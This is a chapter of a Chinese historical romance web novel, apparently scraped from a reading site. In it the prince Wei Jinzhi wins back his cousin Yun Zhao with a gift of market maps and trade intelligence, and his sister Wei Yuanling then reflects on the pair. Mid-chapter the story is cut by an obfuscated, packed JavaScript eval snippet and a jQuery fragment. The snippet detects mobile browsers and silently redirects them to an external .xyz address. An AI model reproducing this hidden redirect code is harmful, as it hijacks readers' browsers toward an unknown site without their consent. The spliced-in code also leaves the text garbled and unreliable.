魏谨之很清楚,云昭态度突然转变一定是因为某些契机,或者某些想法发生了改变。但他可以等,等到这些藏在水面下的事情浮出水面,或者,云昭选择彻底与他重归于好。
书房的变化比客用的厢房更大,甚至连布局都大变样。
但这反而不令人吃惊。国公世子和摄政王爷所需的书房怎会相同。云昭好奇地左右打量,在书桌前站定,不知该去哪儿。
书房修得十分雅致,四角置铜色博山炉,浮动的烟中苦寒气息浓重,闻之浑身精神清醒。这味道魏谨之身上也有,只是不十分浓郁,到了书房里,云昭才恍然发觉他衣角也熏的是此种香气。
和其他人身上常闻到的清香不太相似,但嗅过难忘。
魏谨之摊开书桌上宣纸,抬眸见云昭还在桌前徘徊,说:“书房常年只我一人,只有桌后这张椅子而已。你要坐吗?”
“不坐。”云昭视线落在桌右侧那张擎天高的博古架上,转过来,杏子似的圆眼里露出闪烁的期待,“我可以看看那个吗?”
魏谨之见她这样有礼,想起她前几天在布坊呛他时那混世魔王的样子,不禁觉得有些好笑:“你小时候是怎么在我的书房玩的,现在也一样。莫非你以前是我妹妹,现在就不是了?”
“那怎么一样。我们多少年没见了。”云昭高高兴兴去博古架上观摩各种小摆件,没看见身后魏谨之怅然的淡笑。
他回到京城后很是忙碌了一段时间,稍微空闲下来,便着手修复彼时破败的书房。
以前的博古架早就损毁,现在书房里的这个是后来命人新打造的。他自己已很长时间不再鉴赏文玩,但后来想起云昭喜欢,便叫人从库房里收到贺礼里挑了些最好的摆上来。
和云昭初遇时她眼中的陌生和敌意确实叫他意外,本来以为这些摆件或许再也得不到她的品玩。不过万幸最后事情没有变成最糟的样子,它们还是派上了用场。
云昭在博古架前观摩半晌,发觉没什么可细看的。这些摆件不知道魏谨之是从哪里弄来的,大约是官员们溜须拍马时呈上来的杰作,全是些纯金貔貅,白玉如意,贵重有余,趣味不足。
魏谨之也已取出预备要给她的东西,云昭在他对面,只见到是几张薄纸,看不清具体是何物。
什么纸能比金银珠宝更好?云昭皱了皱眉,想到魏谨之说她在这里只需还和以前一样,便抬脚,快步走到他身边。
在快到他身侧时,云昭刻意放慢脚步,等他反应。
但真如他所说,他半点没避开,由着她来。
也就是说,在书房这样机要的地方,她仍然不是外人……?
云昭立刻不情愿地撇去心头浮现的猜想,站到魏谨之身边,看清了他手上的东西。
有些像舆图,但不全是,云昭一眼望去,瞟到几个熟悉的地名。
平康街,延寿街,西市。这些都是京城内有名的商街,前几日她才去逛过。
“这一张是京城两市的店铺图,这张是他们生意的情报,这张是两市地契的消息和价目表。”
声音平淡,但却如雷在云昭耳边轰鸣。
她预备在京城开店,这些东西是眼下最需要的,但久离京城,没有趁手的人脉,做起来进展缓慢。
她知道对魏谨之而言这件事手到擒来,但从来没想过要让他帮忙。这些事她当初刚到扬州时也做过,再来一次,不过是小小考验而已。
她依靠自己也可以做得很好。
他却不声不响地看透这一切,并且把所有东西准备好,送到她的手边。
她愣在原地,甚至忘记伸手去接魏谨之递来的纸。
这……不是金银珠宝的问题。
比这份东西更难得的是他的细心和体贴。
这东西实在送进了云昭的心坎里。
云昭一时心情极复杂。
“看你表情,应当是满意了。”魏谨之见她神情呆滞,嘴角噙了笑意,把东西放在她手上,示意她自己看。
考虑到靖北王如今在市井官场的风评,他又补了一句:“不用担心我威胁那些人,消息的来源很正当。”
云昭暂时还没想到那层,因为魏谨之在她心里的形象还是更贴近旧日时的表面君子做派。
她仔细翻看手中的情报。
字迹娟秀,图与字相辅相成,清晰了然,甚至撰写人应当仔细研究过上面的内容,角落里还有些许批注,表达自己的看法。
整个京城街市,哪里布料作坊密集,哪里人多,哪里风水好,哪里常出事,一目了然。
这份周到……云昭有某一瞬间,觉得手里轻飘飘的几张薄纸沉重如山石。
布料坊事业对她的意义重大。有这些情报在手,踏进京城最艰难的第一步,几乎没费吹灰之力,就算走通。
魏谨之见她眸光灼然,比房间中跃动的烛火更明亮,知道她内心的喜悦和激动难以压抑。他紧了紧手,好压下自己唇边也不知何时泛起的笑,给她留足够的时间去看那几张纸上写的东西。
他原本另有礼物要送给云昭,但几次不愉快之后,他觉得自己该送出的礼物也应当做一些改变。
既然送礼,肯定要送到点子上。这个礼物也是希望她开心,而不是发愁。
这几天还愁着要怎么把这份情报滴水不漏地送给她,又不让她反感,现在倒是不用担忧了。
之所以不送房契、地契一类的东西,一是他知道这些东西云昭不缺,云氏虽然经历打压,但树大根深,金银之类的俗物手上不会少;二是他知道云昭这些年自己在外面做生意,必然不会喜欢有人擅自替她做决定。
能把有用的东西收集好,交到她手上,最后让她拍板,一定会让她更高兴。
这不仅意味着她的地位,也是对她实力和眼光的肯定。
他作为兄长,想要扶持妹妹,而不是掌控。
云昭把手上的纸仔仔细细地看了个遍。
虽然意犹未尽,还想再琢磨会儿,但也不好意思把送礼的人晾在一边。把东西小心折叠,收进袖袋后,云昭仰着脑袋看向魏谨之,朝他露出灿烂的笑容。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540497|186636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
粉绯色唇角边的酒窝浅浅凹陷,自重逢来第一次出现在男人清冷的目光中,他的视线无法克制地在那处浅凹中多滞留一瞬,觉得似乎被她沾上了春季玄都花的蜜,带着清风般的甜。
这也的确是重逢以来云昭第一次对他露出真心的笑。
她实在喜欢这礼物,喜欢到连积年累月的怨恨也可以暂时放下。
云昭已经下定了决心。等到她报复魏谨之的时机成熟的那天,她也会看在这份礼物的面上,给他手下留点情。
门外响起轻轻的敲门声,男声在外恭谨地说道:“主上,厨房托人来传话,晚膳已经备好,问要送到何处去?”
魏谨之不答,只移目看向云昭。
少女此刻正乐开花,笑颜与魏谨之的视线相对,见他在等她拿主意,心里顿时了然,干脆顺了他的意,凑近他,歪着头道:“一起去泠阿姐那儿吃吧?”
她今天来还没见到泠阿姐,正好去看看她。
魏谨之嘴角浮起微不可见的笑,面上仍维持着兄长的气势:“都依你的。”
时值孟冬中旬,魏元泠的屋子早早地烧起地龙,温暖明亮。
半刻钟前有人来报,王爷和表小姐要来一起用晚膳。
魏元泠半倚在床上,手中拿一卷书,就着烛火翻看,心里却在想别的事。
她挺佩服自己的堂兄,几次三番被人强拒,竟然还能穷追不舍。同时又觉得表妹可怜,魏谨之此人看似正派君子,实则有一股常人拍马难及的韧劲,一旦被他缠上,大概率是用尽手段也不能逃开的。
也不知这次魏谨之是用了什么手段把表妹捆来。
门外突然传来流晖唱礼的声音,紧接着,魏谨之和云昭相携而进。
俊美男子与俏丽女子紧紧站在一起,脸上虽笑不露齿,但显然心情愉快,彼此之间和之前苦大仇深的气氛不同,看起来竟像是自愿的。
着实有些惊到魏元泠。
云昭之前对魏谨之的记恨不似作假,没想到几天不见,就被哄好了。
惊讶之余,又觉得并不意外。
局中人看不透棋局,她作为外人,瞧得却很真切。
云昭不是不在意魏谨之的,正相反,她在意得快死了。
若不是心里眼里全记挂着他,又何必刻意避讳。越在乎的人,才会越痛恨,她那样执着,更说明她从未放下。
魏谨之那边,她看着也差不多。
自家道中落后,魏谨之性情大变,外界对他已隐隐有了酷吏的风评,名声之差,甚至传到她闺房里。
看着兄长日益冷酷的变化,她内心担忧,曾反复劝说,也不见成效。
可云昭在魏谨之身边时,魏元泠总觉得以前的那个兄长又回来了。
魏谨之和云昭只是表兄妹。俗话说一表三千里,只要沾个表字,即使是亲戚,彼此间总会隔着层说不明道不明的生分。
但眼前这两个人是例外。
如果说现在谁还能在魏谨之身边拉他一把、将他带出泥潭……
大约,也只有云昭。